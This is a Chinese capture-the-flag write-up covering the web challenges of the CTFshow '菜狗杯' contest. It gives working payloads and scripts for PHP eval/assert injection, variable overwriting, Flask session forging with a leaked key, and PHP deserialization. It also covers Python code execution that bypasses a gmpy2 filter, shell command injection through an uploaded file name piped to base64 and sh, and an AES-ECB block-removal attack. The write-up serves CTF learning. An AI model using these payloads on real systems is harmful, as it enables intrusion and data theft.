文章目录

  • web签到
  • web2 c0me_t0_s1gn
  • 我的眼里只有$
  • 抽老婆
  • 一言既出
  • 驷马难追
  • TapTapTap
  • Webshell
  • 化零为整
  • 无一幸免
  • 传说之下(雾)
  • 算力超群
  • 算力升级
  • 2
  • 遍地飘零
  • 茶歇区
  • 小舔田?
  • LSB探姬
  • Is_Not_Obfuscate
  • 龙珠NFT
  • web签到

    eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
    

    简单的解释下这个嵌套

    加入cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']
    $_REQUEST就get、post都可以接收啦。
    加入再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
    但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了
    c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

    请添加图片描述

    web2 c0me_t0_s1gn

    注释里面有一半flag

    然后控制台运行g1ve_flag()得另一半flag

    我的眼里只有$

    又是群主出的题,不得不说群主老大出的题真的是花里胡哨😁

    extract($_POST);
    eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
    

    可以看到就是个变量覆盖然后再无限套娃。
    假设我们post传入_=a那么$_=a,如果在post传入a=b那么$$_=b
    以此类推传入一定数量的参数就可以了,最后一个的值是我们要传入eval的代码。
    不过这$属实是有点多,还是写个脚本吧

    import string
    s = string.ascii_letters 
    t='_=a&'
    code="phpinfo();"
    for i in range(35):
        t+=s[i]+"="+s[i+1]+'&'
    
    t+=s[i]+'='+code
    print(t)
    

    抽老婆

    下载页面存在文件读取。
    随便读个文件,报错页面可以看出是python flask写的了。

    读下源码试试file=../../app.py
    有secret_keyapp.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
    后面还在session里面存在判断

    session伪造没跑了,直接跑脚本https://github.com/noraj/flask-session-cookie-manager
    先解密下看看结构

    伪造下这个参数应该就可以了

    python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'c1c437b721d6dcc27ccf4cb8412bd5b6.jpg', 'isadmin': True}"
    


    然后拿着生成的session去访问secret_path_U_never_know即可拿到flag。

    一言既出

    <?php
    highlight_file(__FILE__); 
    include "flag.php";  
    if (isset($_GET['num'])){
        if ($_GET['num'] == 114514){
            assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
            echo $flag;
        } 
    } 
    

    assert和eval差不多,里面可以执行php代码。那么闭合再注释就可以了。

    ?num=114514);//
    

    驷马难追

    增加了过滤没法闭合了,这也好办,我们可以运行加减乘除嘛。

    ?num=114514+1805296
    加号需要编码下
    ?num=114514%2b1805296
    

    TapTapTap

    游戏题,直接找js代码。
    看到可以的地方

    直接base64解码得到Your flag is in /secret_path_you_do_not_know/secretfile.txt
    访问该地址得到flag。

    Webshell

    非常简单的反序列化

    <?php 
        class Webshell {
            public $cmd = 'cat /f*;cat f*';
        }
    echo serialize(new Webshell);
    ?>
    

    flag在源代码里面

    化零为整

    这道题也很有意思。
    中文在php里面长度是3,其实很容易想到中文的url编码就是3个
    比如的url编码就是%E5%A4%A7
    所以这三个url编码字符拼接起来就是一个中文字符了
    payload

    1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
    

    无一幸免

    传个数组就可以了
    ?0[]=

    传说之下(雾)

    同样是游戏题,需要我们分数到2077才可以。
    来个暴力点的方法,在js代码中找到和分数相关的变量。

    可以猜到就是每次吃到一个得一分,我们把这个1直接改成2078。(改成2077还得再吃一个)
    先开始比赛后暂停,找到下面的位置,把分数改掉。

    然后ctrl+s保存下。
    再随便吃一个死掉就可以拿到flag了。

    flag在控制台里面

    算力超群

    一般碰到计算器就很容易和命令执行扯到一块。
    随便计算下然后抓个包

    _calculate?number1=&operator=&number2=966
    有这么几个参数(number1、operator、number2)
    输点乱七八糟的字符就可以看到报错信息了

    经过测试对number1和operator有些过滤,但是number2没有。
    payload

    _calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()
    

    算力升级

    这个题感觉质量还是不错的。
    是个python的代码执行,但是有些过滤。

    如果是字母数字下划线(\w)需要是gmpy2库里的。剩下的字符顺便输。
    可以本地看下gmpy2

    这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

    比如我们想执行eval可以这样来
    gmpy2.__builtins__['eval']('xxx')
    而其中的eval可以通过'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]得到,其他的类似。
    因为命令太长了,我也懒得弄,所以就通过request.args['1']获得。
    最终payload

    gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
    
    GET:
    tiesuanzi?1=__import__('os').popen("cat /flag").read()
    
    等价于
    `gmpy2.__builtins__['eval']('eval(request.args["1"])')`
    

    2

    关键代码就一句
    subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
    其中cmd半可控,param可控 __file__是个固定值。
    第一个参数作为命令,后面的都是该命令的参数
    比如执行

    `subprocess.run(['ls','/etc','/'])
    

    就等价于ls /etc /
    会同时列出/和/etc下的文件及文件夹
    cat也是如此。
    有一点要注意,不要看到request.form.get就以为是get传参,其实是接收的post参数
    payload

    cmd=ls&param=.
    cmd=cat&param=flag.txt
    

    遍地飘零

    考察变量覆盖,最终只有一个地方可以输入var_dump($_GET);
    所以我们就把要用的flag赋值给GET就好了
    _GET=flag

    茶歇区

    这道题没搞懂咋回事,不过应该和溢出有关。

    发送两次就可以了。
    为啥不在a的位置,猜测可能是a单价是1,是没有进行乘法运算的。其他的也类似,不是1的应该都可以。

    小舔田?

    很入门的反序列化,直接上payload了。

    <?php
    class Moon{
        public $name;
    }
    
    class Ion_Fan_Princess{
        public $nickname="小甜甜";
    
    }
    $a = new Moon();
    $b = new Ion_Fan_Princess();
    $a->name=$b;
    echo serialize($a);
    
    

    LSB探姬

    直接来看源码。

    存在命令执行,并且cmd中有内容是可控的,是我们上传文件的文件名。
    不过本地测试发现不出网,那么我们就把执行命令的结果写到静态文件里就好了。
    需要注意的点就是传入的用户名中不能有/估计还有一些其他的字符。
    所以还是用base64编码来执行把

    import requests 
    url="http://8516ca37-5457-4ae5-aae6-7800f08dc03f.challenge.ctf.show/"
    files={"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")}
    #cat f*  > static/js/ansi_up.js
    requests.post(url+'upload',files=files)
    
    r2 = requests.get(url+'static/js/ansi_up.js')
    print(r2.text)
    

    Is_Not_Obfuscate

    很迷的一道题,全靠蒙。

    通过源代码可以得知
    1、存在robots.txt。
    2、当action=test时会执行input的内容,不过经过了一个decode

    访问下robots.txt,发现存在lib.php、plugins文件夹、还有一个flag参数

    那很容易想到flag=1

    内容如上。
    刚才发现input传入的内容经过decode之后会进入eval,那么input的内容肯定是一段加密后的了。
    这么看刚才出来的内容就像是需要的了。

    input=类似于base64的东西&action=test
    

    得到源码

    存在一个代码执行的点和一个文件写入的点。

    大概意思就是假如我们传入output=phpinfo()&action=push,则会生成一个文件,路径为plugins/md5值该md5值是可以本地计算得到了,就是我们代码后面拼接行youyou的md5。
    内容是经过encode加密的。
    然后如果在传入action=pull&input=刚才生成的文件路径就可以运行刚才的代码了。
    payload

    action=push&output=system('cat f*;cat /f*');
    action=pull&input=41fbd06940c629af4cff4d809d386324     system('cat f*;cat /f*');youyou的md5 
    

    龙珠NFT

    感觉更多的像是密码学题。
    简单的解释下源码各个路由的功能
    /
    提供注册功能,会将用户名的md5作为session存入。
    radar
    单纯的一个界面,什么用没有。
    find_dragonball
    如果是第一次访问,那么dragonball就是固定值1。
    否则访问后产生一个随机数范围是1-1000
    如果是在0-6之间,那么就把dragonball赋值为该数,否则就赋值为0。
    并且每个用户都是只有十次机会。
    get_dragonball
    传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠。
    flag
    有1-7号的dragonball就拿到flag。

    大致看下去基本是无解。
    即使你想用暴力破解的方式。但是最大的问题是永远不可能获得数字7。
    唯一可能有问题的地方就是加密方法了。
    可以看到它使用的是AES中的ECB。
    而ECB是分段加密的

    明文按照16字节分成n块,通过加密器对每一块进行加密获得n个密文块。最后一块通常不够16字节需要按照一定的填充规则进行填充。
    我们来看下要加密的内容
    {"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}
    按16个分组后的结果

    {"player_id": "5
    72d4e421e5e6b9bc
    11d815e8a027112"
    , "dragonball": 
    "1", "round_no":
     "9", "time":"2
     022-10-19 15:06
     :45"}
    

    也就是说我们如果是同一个用户的话,前四段加密的结果是一样的。我们希望的是dragonball后面的数字是可控的。
    这时候就需要脑洞打开了。
    如果我们把第五行删掉会出现什么情况呢

    {"player_id": "5
    72d4e421e5e6b9bc
    11d815e8a027112"
    , "dragonball": 
     "9", "time":"2
     022-10-19 15:06
     :45"}
    

    经过json解析后其实可以得到dragonball为9,而这个次数我们是可以控制的。也就可以控制生成的龙珠数了。

    import requests
    import base64
    import re
    from urllib.parse import *
    
    url = 'http://ab901b43-8e6c-4049-b50c-d403a5db8524.challenge.ctf.show/'
    sess = requests.Session()
    
    sess.get(url+'?username=1')
    for i in range(7):
        url1 = url + 'find_dragonball'
        r1 = sess.get(url1)
        a = r1.json()["address"]
        b = base64.b64decode(a.encode()).hex()
    
        c = b[:128]+b[160:]
    
        d = quote(base64.b64encode(bytes.fromhex(c)).decode())
    
        url2 = url + f'get_dragonball?address={d}'
        r2 = sess.get(url2)
        print(r2.text)
    r3  = sess.get(url+'flag')
    flag = re.findall('ctfshow{.*?}',r3.text)[0]
    print(flag)
    
    物联沃分享整理
    物联沃-IOTWORD物联网 » CTFSHOW菜狗杯 web

    发表评论